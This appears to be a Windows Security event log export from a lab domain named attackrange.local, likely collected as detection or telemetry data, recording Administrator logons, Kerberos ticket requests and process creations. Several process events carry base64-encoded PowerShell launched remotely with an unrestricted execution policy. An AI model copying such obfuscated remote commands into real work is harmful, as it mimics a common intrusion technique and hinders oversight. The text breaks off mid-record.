-SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253431 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B2D84 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253430 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253429 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253428 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253427 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x378 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253426 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x378 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x49c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253425 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B03A4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253424 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B03A4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253423 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253422 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253421 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253420 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x49c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253419 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253418 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AFEED - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253417 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AFEED - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: 